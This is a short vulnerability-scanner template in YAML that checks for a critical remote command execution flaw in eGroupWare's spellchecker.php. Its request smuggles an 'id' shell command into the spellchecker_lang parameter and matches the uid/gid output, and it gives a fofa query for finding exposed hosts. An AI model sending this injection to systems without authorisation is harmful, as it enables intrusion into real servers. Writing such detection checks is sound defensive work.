egroupware-rce: eGroupWare spellchecker.php 远程命令执行

id: egroupware-rce

info:
  name: eGroupWare spellchecker.php 远程命令执行
  author: zan8in
  severity: critical
  description: |-
    eGroupWare是一个多用户，在以PHP为基础的API上的定制集为基础开发的，以WEB为基础的工作件套装，其中 spellchecker.php 文件中存在命令执行漏洞
    fofa: app="EGROUPWARE-产品"
  tags: egroupware,rce
  created: 2024/02/28

rules:
  r0:
    request:
      method: GET
      path: /egroupware/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?spellchecker_lang=egroupware_spellchecker_cmd_exec.nasl%7C%7Cid%7C%7C
    expression: |
      response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
expression: r0()

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